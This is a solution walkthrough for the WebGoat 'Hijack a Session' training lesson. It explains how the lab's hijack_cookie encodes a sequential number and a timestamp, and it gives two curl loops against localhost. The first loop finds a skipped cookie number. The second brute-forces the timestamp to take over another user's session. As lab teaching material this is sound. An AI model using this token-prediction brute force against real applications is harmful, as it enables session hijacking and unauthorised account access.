= Hijack a Session

== Solution

Some standard Linux tools have been used on this solution.

=== Analysis

Inspect the 'hijack_cookie' cookie value:

[source, text]
----
3814082160704930327-1636910266991
----

The 'hijack_cookie' is divided in two parts and has the following format:

**<sequential number>-<unix epoch time>**

The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted.

Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him.

It's simple to spot where this value is if we know the cookie values between this valid user cookie.

=== Brute forcing

Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint.

[source, sh]
----
# command
for i in $(seq 1 10); do
curl 'http://localhost:8080/WebGoat/HijackSession/login'   \
-H 'Connection: keep-alive'   \
-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"'   \
-H 'Accept: */*'   \
-H 'X-Requested-With: XMLHttpRequest'   \
-H 'sec-ch-ua-mobile: ?0'   \
-H 'User-Agent: any'   \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'   \
-H 'Origin: http://localhost:8080'   \
-H 'Sec-Fetch-Site: same-origin'   \
-H 'Sec-Fetch-Mode: cors'   \
-H 'Sec-Fetch-Dest: empty'   \
-H 'Referer: http://localhost:8080/WebGoat/start.mvc'   \
-H 'Accept-Language: en-US,en;q=0.9'   \
-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW"   \
--data-raw 'username=&password='   \
--compressed \
--output /dev/null \
-v
done

# cookies
<...>
< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure
< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure
< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure
< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure
<...>
----

Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat.

The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part.

So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us.

[source, sh]
----
for i in $(seq 1636913556998 1636913557143); do
curl 'http://localhost:8080/WebGoat/HijackSession/login'   \
-H 'Connection: keep-alive'   \
-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"'   \
-H 'Accept: */*'   \
-H 'X-Requested-With: XMLHttpRequest'   \
-H 'sec-ch-ua-mobile: ?0'   \
-H 'User-Agent: any'   \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'   \
-H 'Origin: http://localhost:8080'   \
-H 'Sec-Fetch-Site: same-origin'   \
-H 'Sec-Fetch-Mode: cors'   \
-H 'Sec-Fetch-Dest: empty'   \
-H 'Referer: http://localhost:8080/WebGoat/start.mvc'   \
-H 'Accept-Language: en-US,en;q=0.9'   \
-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i""   \
--data-raw 'username=&password='   \
--compressed
done
----

One of those requests will be a valid login and the lesson will be marked as completed.
